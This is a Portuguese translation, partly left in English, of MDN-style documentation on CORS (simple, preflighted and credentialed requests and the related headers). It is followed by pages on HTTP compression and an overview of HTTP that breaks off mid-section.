**Nota:** O WebKit Nightly e Safari Technology Preview impõem restrições adicionais nos valores permitidos nos cabeçalhos `Accept`, `Accept-Language` e `Content-Language`. Caso algum destes cabeçalhos tenham valores "não-padronizados", o WebKit/Safari não considera que a requisição atenda as condições para uma "requisição simples". O que o WebKit/Safari considera valores "não-padronizados" para estes cabeçalhos não é documentado exceto nos seguintes bugs do WebKit: *Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS* e *Switch to a blacklist model for restricted Accept headers in simple CORS requests*. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.

Por exemplo, suponha que o conteúdo web no domínio `http://foo.example` deseje chamar (`invocation` do exemplo abaixo) um outro conteúdo no domínio `http://bar.other`. Esse código Javascript pode estar hospedado em foo.example:

```js
var invocation = new XMLHttpRequest();
var url = "http://bar.other/resources/public-data/";

function callOtherDomain() {
  if (invocation) {
    invocation.open("GET", url, true);
    invocation.onreadystatechange = handler;
    invocation.send();
  }
}
```

Isso fará uma troca simples entre cliente e servidor, utilizando o cabeçalho CORS para tratar os privilégios.

![](/pt-BR/docs/Web/HTTP/CORS/simple_req.png)

Neste caso, vamos ver o que o navegador enviará ao servidor e vamos olhar como o servidor responde:

```http
GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
Origin: http://foo.example

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Access-Control-Allow-Origin: \*
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[XML Data]
```

As linhas de 1 a 10 são enviadas no header. Note que o cabeçalho principal da requisição HTTP aqui é `Origin` na linha 10, o qual revela que a chamada é proveniente de um conteúdo no domínio `http://foo.example`.

As linhas de 13 a 22 mostram a resposta HTTP do servidor no domínio `http://bar.other`. Nesta resposta, o servidor envia de volta um cabeçalho `Access-Control-Allow-Origin` exibido na linha 16. O uso dos cabeçalhos `Origin` e `Access-Control-Allow-Origin` mostram o protocolo de controle de acesso em seu uso mais simples. Neste caso, o servidor responde com `Access-Control-Allow-Origin: *`, o que significa que o recurso pode ser acessado por **qualquer** domínio pela comunicação entre origens. Se os proprietários dos recursos em `http://bar.other` desejarem restringir o acesso ao conteúdo para o mesmo ser apenas de `http://foo.example`, eles retornaram:

`Access-Control-Allow-Origin: http://foo.example`

Observe que, agora, nenhum dominio além de `http://foo.example` (identificado na requisição pelo cabeçalho ORIGIN: como na linha 10) pode acessar o recurso pela comunicação entre origens. O cabeçalho `Access-Control-Allow-Origin` deve conter o valor que foi enviado no cabeçalho `Origin` da requisição.

### Requisições com pré-envio

Ao contrário de "requisições simples" (discutido acima) (en-US), requisições com "pré-envio" (*Preflighted requests*) primeiramente enviam uma requisição HTTP através do método `OPTIONS` para obter um recurso em outro domínio, a fim de determinar se de fato a requisição atual é segura para envio. Requisições entre sites possuem pré-envio, já que podem interferir em dados do usuário.

Em particular, uma requisição tem um pré-envio **se qualquer das seguintes condições** for verdadeira:

* **Se** a requisição usa algum dos seguintes métodos:
    + `PUT`
    + `DELETE`
    + `CONNECT`
    + `OPTIONS`
    + `TRACE`
    + `PATCH`
* **Ou se**, além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, `Connection`, {HTTPHeader("User-Agent")}} ou qualquer **OUTRO** cabeçalho com um nome definido na especificação Fetch como "*forbidden header name*"), a requisição inclui quaisquer cabeçalhos **além** daqueles que a especificação Fetch define como sendo um "*CORS-safelisted request-header*", que são:
    + `Accept`
    + `Accept-Language`
    + `Content-Language`
    + `Content-Type` (porém observe os requisitos adicionais abaixo)
    + `DPR`
    + `Downlink` (en-US)
    + `Save-Data`
    + `Viewport-Width`
    + `Width`
* **Ou se** o `Content-Type` do cabeçalho **tem** **outro** valor que:
    + `application/x-www-form-urlencoded`
    + `multipart/form-data`
    + `text/plain`
* **Ou se** um ou mais *event listener* estiver registrado em um objeto `XMLHttpRequestUpload` (en-US) usado nessa requisição.
* **Ou se** um objeto `ReadableStream` (en-US) é usado nessa requisição.

**Nota:** WebKit Nightly e Safari Technology Preview colocam restrições adicionais nos valores permitidos dos cabeçalhos `Accept`, `Accept-Language` e `Content-Language`. Caso qualquer um desses cabeçalhos tenha algum valor fora do padrão (non-standard), o WebKit/Safari faz o pré-envio da requisição. O que o WebKit/Safari considera como valor "non-standard" para tais cabeçalhos não está documentado, exceto nos seguintes bugs do WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, e Content-Language request headers for simple CORS e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.

O exemplo a seguir é de uma requisição com pré-envio.

```js
var invocation = new XMLHttpRequest();
var url = 'http://bar.other/resources/post-here/';
var body = '<?xml version="1.0"?><person><name>Arun</name></person>';

function callOtherDomain(){
  if(invocation)
    {
      invocation.open('POST', url, true);
      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
      invocation.setRequestHeader('Content-Type', 'application/xml');
      invocation.onreadystatechange = handler;
      invocation.send(body);
    }
}

......
```

No exemplo acima, a linha 3 cria um XML para enviar com a requisição `POST` da linha 8. Também, na linha 9, é definido um cabeçalho de uma requisição HTTP "personalizada" (non-standard) com (`X-PINGOTHER: pingpong`). Tais cabeçalhos não fazem parte do protocolo HTTP/1.1, mas podem ser usados para aplicações web. Já que a requisição usa um Content-Type do tipo `application/xml` e como é uma requisição personalizada, esta requisição faz um pré-envio.

![](/pt-BR/docs/Web/HTTP/CORS/prelight.png)

(Observação: conforme descrito abaixo, a requisição POST real não inclui os cabeçalhos Access-Control-Request- \*; eles são necessários apenas para a requisição OPTIONS.)

Vamos conferir a comunicação completa que ocorre entre cliente e servidor. A primeira comunicação é a *requisição com pré-envio/resposta*:

```shell
OPTIONS /resources/post-here/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
```

Uma vez que a requisição com pré-envio é completa, a requisição efetiva será enviada:

```shell
POST /resources/post-here/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF-8
Referer: http://foo.example/examples/preflightInvocation.html
Content-Length: 55
Origin: http://foo.example
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0"?><person><name>Arun</name></person>

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain

[Some GZIP'd payload]
```

As linhas de 1 a 12 acima representam a requisição com pré-envio tendo o método `OPTIONS`. O navegador determina que precisa fazer este envio baseado nos parâmetros da requisição do código JavaScript acima utilizado, para que o servidor possa responder caso seja aceitável o envio da requisição com os dados parâmetros da mesma. OPTIONS é um método HTTP/1.1 usado para determinar informações complementares dos servidores, sendo o mesmo um método safe, o que significa que não pode ser utilizado para troca de recurso. Note que junto da requisição OPTIONS, outros dois cabeçalhos são enviados (linhas 10 e 11, respectivamente):
```

Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
```

O cabeçalho `Access-Control-Request-Method` notifica o servidor como sendo uma parte da requisição com pré-envio que, quando a requisição efetiva é enviada, será enviada com uma requisição de método `POST`. O cabeçalho `Access-Control-Request-Headers` notifica o servidor que quando a requisição efetiva fora enviada, será enviada com os seguintes cabeçalhos personalizados `X-PINGOTHER` e `Content-Type`. O servidor agora tem a oportunidade para definir se deseja aceitar uma requisição sob estas condições.

As linhas 14 a 26 acima são as respostas que o servidor devolve, indicando que o método (`POST`) e os cabeçalhos (`X-PINGOTHER`) da requisição são aceitáveis. Em particular, vejamos as linhas 17 a 20:
```

Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
```

O servidor responde com `Access-Control-Allow-Methods` e diz que `POST`, `GET`, e `OPTIONS` são métodos viáveis para requerir o recurso em questão. Perceba que este cabeçalho é similar ao cabeçalho da resposta `Allow`, mas usado estritamente dentro do contexto do controle de acesso.

O servidor envia também `Access-Control-Allow-Headers` com um valor de "`X-PINGOTHER, Content-Type`", confirmando estes são cabeçalhos permitidos a serem usados com a requisição efetiva. Assim como `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers` é uma lista de cabeçalhos aceitáveis, separados por vírgula.

Por fim, `Access-Control-Max-Age` traz o valor em segundos de quão longo pode ser mantida em cache a resposta da requisição pré-envio sem o envio de outra requisição pré-envio. Neste caso, 86400 segundos são 24 horas. Note que cada browser tem um valor interno máximo que toma precedência quado `Access-Control-Max-Age` for maior.

#### Requisições com pré-envio e redirecionamento

Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.

>
> The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight
>
>
>

>
> Request requires preflight, which is disallowed to follow cross-origin redirect
>
>
>

The CORS protocol originally required that behavior but was subsequently changed to no longer require it. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.

So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:

* change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to
* change the request such that it is a [simple request]#simple\_requests) that doesn't cause a preflight

But if it's not possible to make those changes, then another way that may be possible is to this:

1. Make a simple request (using `Response.url` (en-US) for the Fetch API, or `XMLHttpRequest.responseURL` (en-US)) to determine what URL the real preflighted request would end up at.
2. Make another request (the "real" request) using the URL you obtained from `Response.url` or `XMLHttpRequest.responseURL` in the first step.

However, if the request is one that triggers a preflight due to the presence of the `Authorization` header in the request, you won't be able to work around the limitation using the steps above. And you won't be able to work around it at all unless you have control over the server the request is being made to.

### Requisições com credenciais

The most interesting capability exposed by both `XMLHttpRequest` or Fetch and CORS is the ability to make "credentialed" requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-site `XMLHttpRequest` or Fetch invocations, browsers will **not** send credentials. A specific flag has to be set on the `XMLHttpRequest` object or the `Request` constructor when it is invoked.

In this example, content originally loaded from `http://foo.example` makes a simple GET request to a resource on `http://bar.other` which sets Cookies. Content on foo.example might contain JavaScript like this:

```js
var invocation = new XMLHttpRequest();
var url = "http://bar.other/resources/credentialed-content/";

function callOtherDomain() {
  if (invocation) {
    invocation.open("GET", url, true);
    invocation.withCredentials = true;
    invocation.onreadystatechange = handler;
    invocation.send();
  }
}
```

Line 7 shows the flag on `XMLHttpRequest` that has to be set in order to make the invocation with Cookies, namely the `withCredentials` boolean value. By default, the invocation is made without Cookies. Since this is a simple `GET` request, it is not preflighted, but the browser will **reject** any response that does not have the `Access-Control-Allow-Credentials`: `true` header, and **not** make the response available to the invoking web content.

![](/pt-BR/docs/Web/HTTP/CORS/cred-req.png)

Here is a sample exchange between client and server:

```shell
GET /resources/access-control-with-credentials/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/credential.html
Origin: http://foo.example
Cookie: pageAccess=2

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
X-Powered-By: PHP/5.2.6
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Credentials: true
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

[text/plain payload]
```

Although line 11 contains the Cookie destined for the content on `http://bar.other`, if bar.other did not respond with an `Access-Control-Allow-Credentials``: true` (line 19) the response would be ignored and not made available to web content.

#### Solicitações credenciadas e curingas (*wildcards*)

When responding to a credentialed request, the server **must** specify an origin in the value of the `Access-Control-Allow-Origin` header, instead of specifying the "`*`" wildcard.

Because the request headers in the above example include a `Cookie` header, the request would fail if the value of the `Access-Control-Allow-Origin` header were "\*". But it does not fail: Because the value of the `Access-Control-Allow-Origin` header is "`http://foo.example`" (an actual origin) rather than the "`*`" wildcard, the credential-cognizant content is returned to the invoking web content.

Note that the `Set-Cookie` response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.

All of these examples can be seen working here. The next section deals with the actual HTTP headers.

Os cabeçalhos de resposta HTTP
------------------------------

This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.

### Access-Control-Allow-Origin

A returned resource may have one `Access-Control-Allow-Origin` header, with the following syntax:
```

Access-Control-Allow-Origin: <origin> | *
```

The `origin` parameter specifies a URI that may access the resource. The browser must enforce this. For requests **without** credentials, the server may specify "\*" as a wildcard, thereby allowing any origin to access the resource.

For example, to allow `http://mozilla.org` to access the resource, you can specify:
```

Access-Control-Allow-Origin: http://mozilla.org
```

If the server specifies an origin host rather than "\*", then it could also include Origin in the Vary response header to indicate to clients that server responses will differ based on the value of the Origin request header.

### Access-Control-Expose-Headers

The `Access-Control-Expose-Headers` header lets a server whitelist headers that browsers are allowed to access. For example:
```

Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
```

This allows the `X-My-Custom-Header` and `X-Another-Custom-Header` headers to be exposed to the browser.

### Access-Control-Max-Age

The `Access-Control-Max-Age` header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.
```

Access-Control-Max-Age: <delta-seconds>
```

The `delta-seconds` parameter indicates the number of seconds the results can be cached.

### Access-Control-Allow-Credentials

The `Access-Control-Allow-Credentials` header Indicates whether or not the response to the request can be exposed when the `credentials` flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple `GET` requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.
```

Access-Control-Allow-Credentials: true
```

Credentialed requests are discussed above.

### Access-Control-Allow-Methods

O `Access-Control-Allow-Methods` cabeçalho especifica o método ou os métodos permitidos ao acessar o recurso. Isso é usado em resposta há uma requisição preflight. As condições na qual a requisição é preflight são discutidas à seguir.
```

Access-Control-Allow-Methods: <method>[, <method>]*
```

An example of a preflight request is given above, including an example which sends this header to the browser.

### Access-Control-Allow-Headers

The `Access-Control-Allow-Headers` header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.
```

Access-Control-Allow-Headers: <field-name>[, <field-name>]*
```

Os cabeçalhos de solicitação HTTP
---------------------------------

This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site `XMLHttpRequest` capability do not have to set any cross-origin sharing request headers programmatically.

### Origin

The `Origin` header indicates the origin of the cross-site access request or preflight request.
```

Origin: <origin>
```

The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.

**Nota:** The `origin` can be the empty string; this is useful, for example, if the source is a `data` URL.

Note that in any access control request, the `Origin` header is **always** sent.

### Access-Control-Request-Method

The `Access-Control-Request-Method` is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.
```

Access-Control-Request-Method: <method>
```

Examples of this usage can be found above.

### Access-Control-Request-Headers

The `Access-Control-Request-Headers` header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.
```

Access-Control-Request-Headers: <field-name>[, <field-name>]*
```

Examples of this usage can be found above.

Especificações
--------------

| Specification |
| --- |
| Fetch Standard # http-access-control-allow-origin |

Compatibilidade com navegadores
-------------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### Notas de compatibilidade

* Internet Explorer 8 and 9 expose CORS via the `XDomainRequest` object, but have a full implementation in IE 10.
* While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using `drawImage`.
Veja também
-----------

* CORS errors (en-US)
* Enable CORS: I want to add CORS support to my server
* `XMLHttpRequest`
* Fetch API
* Using CORS with All (Modern) Browsers
* Using CORS - HTML5 Rocks
* Code Samples Showing `XMLHttpRequest` and Cross-Origin Resource Sharing
* Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)
* Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.) (en-US)
* Stack Overflow answer with "how to" info for dealing with common problems:
    + How to avoid the CORS preflight
    + How to use a CORS proxy to get around *"No Access-Control-Allow-Origin header"*
    + How to fix *"Access-Control-Allow-Origin header must not be the wildcard"*


Compressão em HTTP - HTTP

Compressão em HTTP
==================

A **Compressão** é uma forma importante de aumentar o desempenho de um Web site. Para alguns documentos, a redução de tamanho de até 70% diminui a necessidade de capacidade de largura de banda. Com o passar dos anos, os algoritmos também ficaram mais eficientes e novos têm recebido suporte por clientes e servidores.

Na prática, os desenvolvedores web não precisam implementar mecanismos de compressão de dados, pois ambos os navegadores e servidores já possuem tais mecanismos implementados. Porém, é preciso ter certeza de que o servidor esteja configurado adequadamente. A compressão acontece em três níveis distintos:

* primeiramente, alguns formatos de arquivo são comprimidos com métodos otimizados específicos,
* então a criptografia ocorre no nível HTTP (o recurso é transmitido comprimido de ponta a ponta),
* e finalmente a compressão pode ser definida no nível da conexão, entre dois nós de uma conexão HTTP.
Compressão de formato de arquivo
--------------------------------

Cada tipo de dado tem alguma redundância, ou seja, espaço desperdiçado. Se um texto pode geralmente apresentar até 60% de redundância, essa taxa pode ser muito maior para outras mídias, como áudio e vídeo. Ao contrário do texto, esses outros tipos de mídia ocupam muito espaço de armazenamento, sendo que a necessidade de recuperar esse espaço desperdiçado apareceu muito cedo. Engenheiros projetaram o algoritmo de compressão otimizada usada por formatos de arquivo para esse fim específico. Os algoritmos de compressão usados para arquivos podem ser agrupados em duas grandes categorias:

* Compressão sem perdas (do inglês *Loss-less compression*), em que o ciclo de compressão-descompressão não altera os dados recuperados. Corresponde byte a byte com o original. Para imagens, `gif` e `png` usam a compressão sem perdas.
* Compressão com perdas (do inglês *Lossy compression*), onde o ciclo altera os dados originais, de forma imperceptível para o usuário.
 Formatos de vídeo na Web utilizam compressão com perdas, assim como o formato `jpeg` para imagens.

Alguns formatos podem ser usados para a compressão com ou sem perdas, como o `webp`. Geralmente, o algoritmo de compressão com perdas pode ser configurado para comprimir mais ou menos, resultando em uma qualidade menor ou maior.

Para o melhor desempenho de um site, é ideal comprimir o máximo possível, mantendo um nível aceitável de qualidade. Para imagens, uma imagem gerada por uma ferramenta pode não ser otimizada o suficiente para a Web. Recomenda-se portanto o uso de ferramentas que comprimirão o máximo possível com uma certa qualidade exigida. Existem inúmeras ferramentas especializadas para isso.

Algoritmos de compressão com perdas geralmente são mais eficientes que os sem perdas.

**Nota:** Como a compressão funciona melhor em tipos específicos de arquivos, ela geralmente não fornece nada mais ao comprimir o mesmo arquivo uma segunda vez. Na verdade, isso geralmente é contraproducente, pois o custo da sobrecarga (algoritmos geralmente precisam de um dicionário que some ao tamanho inicial) pode ser maior do que o ganho extra na compressão, resultando em um arquivo maior. Não use as duas técnicas a seguir para arquivos em um formato comprimido.

Compressão de ponta a ponta
---------------------------

Para compressão, a compressão de ponta a ponta é onde residem as maiores melhorias de desempenho dos sites. Compressão de ponta a ponta refere-se a uma compressão do corpo de uma mensagem que é realizada pelo servidor e permanecerá inalterada até atingir o cliente. Quaisquer que sejam os nós intermediários, eles deixam o corpo intacto.

![](/pt-BR/docs/Web/HTTP/Compression/httpenco1.png)

Todos os navegadores e servidores modernos suportam a compressão, bastante somente negociar o algoritmo a ser usado. Esses algoritmos são otimizados para texto. Nos anos 90, a tecnologia de compressão avançava a um ritmo acelerado e numerosos algoritmos sucessivos foram adicionados ao conjunto de escolhas possíveis. Hoje em dia, apenas dois são relevantes: o `gzip`, o mais comum, e `br` o novo desafiante.

Para selecionar o algoritmo a ser usado, os navegadores e servidores usam a negociação proativa de conteúdo. O navegador envia um cabeçalho `Accept-Encoding` com o algoritmo que ele suporta e sua ordem de precedência. O servidor escolhe um, usa-o para comprimir o corpo da resposta e usa o `Content-Encoding` para informar ao navegador o algoritmo escolhido. Como a negociação de conteúdo foi usada para escolher uma representação baseada em sua codificação, o servidor deve enviar um cabeçalho `Vary` contendo pelo menos `Accept-Encoding` ao lado do cabeçalho na resposta. Dessa forma, os caches poderão armazenar em cache as diferentes representações do recurso.

![](/pt-BR/docs/Web/HTTP/Compression/httpcompression1.png)

Como a copressão de dados traz melhorias significativas no desempenho, recomenda-se ativá-la para todos os arquivos, com exceção daqueles já comprimidos, como imagens, arquivos de áudio e vídeos.

Apache suporta compressão e usa mod\_deflate; para nginx existe ngx\_http\_gzip\_module; para IIS, o elemento `<httpCompression>`.

Compressão de nó a nó (*Hop-by-hop*)
------------------------------------

A compressão de nó a nó (do inglês *Hop-by-hop compression*), embora semelhante à compresão de ponta a ponta, difere em um elemento fundamental: a compressão não acontece no recurso no servidor, criando uma representação específica que é então transmitida, mas sim no corpo da mensagem entre dois nós no caminho entre o cliente e o servidor. Conexões entre nós intermediários sucessivos podem aplicar uma compressão diferente.

![](/pt-BR/docs/Web/HTTP/Compression/httpte1.png)

Para fazer isso, o HTTP usa um mecanismo semelhante à negociação de conteúdo para a compressão ponta a ponta: o nó que transmite a solicitação anuncia sua vontade usando o cabeçalho `TE`, sendo que o outro nó escolhe o método adequado, aplica-o e indica a sua escolha com o cabeçalho `Transfer-Encoding`.

![](/pt-BR/docs/Web/HTTP/Compression/httpcomp2.png)

Na prática, a compressão de nó a nó é transparente para o servidor e o cliente, sendo raramente usada. `TE` e `Transfer-Encoding` são usados principalmente para enviar uma resposta por partes, permitindo iniciar a transmissão de um recurso sem conhecer seu tamanho.

Observe que usar `Transfer-Encoding` e compressão a nível de salto entre nós é tão raro que a maioria dos servidores, como Apache, nginx ou IIS, não apresentam uma maneira fácil de configurá-lo. Tal configuração geralmente acontece no nível do proxy.


Uma visão geral do HTTP - HTTP

Uma visão geral do HTTP
=======================

**HTTP** é um protocolo (protocol) que permite a obtenção de recursos, como documentos HTML. É a base de qualquer troca de dados na Web e um protocolo cliente-servidor, o que significa que as requisições são iniciadas pelo destinatário, geralmente um navegador da Web. Um documento completo é reconstruído a partir dos diferentes sub-documentos obtidos, como por exemplo texto, descrição do layout, imagens, vídeos, scripts e muito mais.

![A Web document is the composition of different resources](/pt-BR/docs/Web/HTTP/Overview/fetching_a_page.png)

Clientes e servidores se comunicam trocando mensagens individuais (ao contrário de um fluxo de dados). As mensagens enviadas pelo cliente, geralmente um navegador da Web, são chamadas de **solicitações** *(requests)*, ou também **requisições**, e as mensagens enviadas pelo servidor como resposta são chamadas de **respostas** *(responses)*.

![HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.](/pt-BR/docs/Web/HTTP/Overview/http_&_layers.png)Projetado no início da década de 1990, o protocolo HTTP é extensível e evoluiu ao longo do tempo. Atua na camada de aplicação e é enviado sobre o protocoloTCP, ou em uma conexão TCP criptografada com TLS, embora qualquer protocolo de transporte confiável possa, teoricamente, ser usado. Devido à sua extensibilidade, ele é usado não só para buscar documentos de hipertexto, mas também imagens e vídeos ou publicar conteúdo em servidores, como nos resultados de formulário HTML (veja os elementos `<html>` e `<form>` (en-US)). O HTTP também pode ser usado para buscar partes de documentos para atualizar páginas da Web sob demanda.

Componentes de sistemas baseados em HTTP
----------------------------------------

O HTTP é um protocolo cliente-servidor: as requisições são enviados por uma entidade, o agente-usuário (ou um *proxy* em nome dele). A maior parte do tempo, o agente-usuário é um navegador da Web, mas pode ser qualquer coisa, como por exemplo um robô que varre a Web para preencher e manter um índice de mecanismo de pesquisa e coletar informações.

Cada requisição individual é enviada para um servidor, que irá lidar com isso e fornecer um resultado, chamado de *resposta*. Entre a solicitação e a resposta existem várias entidades, designadas coletivamente como proxies, que executam operações diferentes e atuam como *gateways* (intermediários) ou caches, por exemplo.

![Client server chain](/pt-BR/docs/Web/HTTP/Overview/client-server-chain.png)

Na realidade, existem muitos outros computadores entre o navegador e o servidor que está tratando a requisição: existem roteadores, modems e muito mais. Graças ao modelo de camadas da Web, essas funcionalidades estão escondidas nas camadas de rede e transporte, respectivamente. O HTTP está no topo da camada de aplicação. Apesar de ser importante diagnosticar problemas de conectividade, as camadas subjacentes são irrelevantes para a descrição do HTTP.

### Cliente: o agente-usuário

O *agente-usuário* é qualquer ferramenta que age em nome do usuário. Essa função é predominantemente realizada pelo navegador Web; algumas poucas exceções são programas usados por engenheiros e desenvolvedores Web para debugar as suas aplicações.

O navegador **sempre** é a entidade que inicia as requisições, nunca o lado do servidor (embora alguns mecanismos tenham sido adicionados ao longo dos anos para simular mensagens iniciadas pelo servidor).

Para mostrar uma página Web, o navegador envia uma requisição para buscar o documento HTML da página. Ele então realiza uma análise sintática desse arquivo, buscando requisições adicionais correspondentes a scripts de execução, informações de layout (CSS) para apresentação e subrecursos contidos na página (geralmente imagens e vídeos). Depois o navegador interpreta esses recursos para mostrar ao usuário a página completa. Existem scripts executados pelo navegador que buscam mais recursos em fases subsequentes e conforme o uso da página e o navegador atualiza a página de acordo.

Uma página Web é um documento de hipertexto (HTML). Isso significa que algumas partes do texto mostrado são *links* (vínculos com outras páginas ou recursos da Web), os quais podem ser ativados (normalmente pelo clique do *mouse*) para buscar uma nova página, permitindo ao usuário redirecionar seu agente-usuário e navegar pela internet. O navegador traduz esses endereços em requisições HTTP e depois interpreta as respostas HTTP para mostrar ao usuário uma resposta transparente.

### O servidor de páginas Web

Do outro lado do canal de comunicação está o servidor que serve o documento requisitado pelo usuário. Um servidor se apresenta virtualmente apenas como uma máquina: isto porque o servidor pode ser uma coleção de servidores dividindo a carga (através de uma técnica chamada balanceamento de carga) ou também como um programa complexo que acessa outros servidores (como um cache, um servidor de banco de dados, servidores de *e-commerce* (lojas virtuais), etc.), gerando toda ou parte do documento solicitado.

Um servidor não é necessáriamente apenas uma máquina, mas vários servidores podem estar hospedados na mesma máquina. Com o HTTP/1.1 e o cabeçalho `Host`, eles podem até compartilhar o mesmo endereço IP.

### Proxies (ou representantes)

Entre o navegador Web e o servidor, vários computadores e máquinas transmitem as mensagens HTTP. Devido a estrutura em camadas da pilha Web, a maioria dessas máquinas operam em alguma das camadas: de transporte, de rede ou física, sendo transparente na camada da aplicação HTTP, e potencialmente exercendo um grande impacto na performance. Essas máquinas que operam na camada de aplicação são normalmente conhecidas como \*\**proxies* \*\*(ou representantes, ou procuradores, etc). Eles podem ser transparentes ou não (alterações nas requisições não passam por eles), e podem desempenhar várias funções:

* cacheamento (o *cache* pode ser público ou privado, como o *cache* dos navegadores)
* filtragem (como um *scanner* de antivírus, controle de acesso, etc)
* balanceamento de carga (para permitir que vários servidores possam responder a diferentes requisições)
* autenticação (para controlar quem tem acesso aos recursos)
* autorização (para controlar quem tem acesso a determinada informação)
* registro de informação (permite o armazenamento de informações de histórico)
Aspectos básicos do HTTP
------------------------

### HTTP é simples

Mesmo com mais complexidade introduzida no HTTP/2.0 por encapsular mensagens HTTP em quadros (*frames*), o HTTP foi projetado para ser simples e legível às pessoas. As mensagens HTTP podem ser lidas e entendidas por qualquer um, provendo uma maior facilidade para desenvolvimento e testes, e reduzir a complexidade para os estudantes.

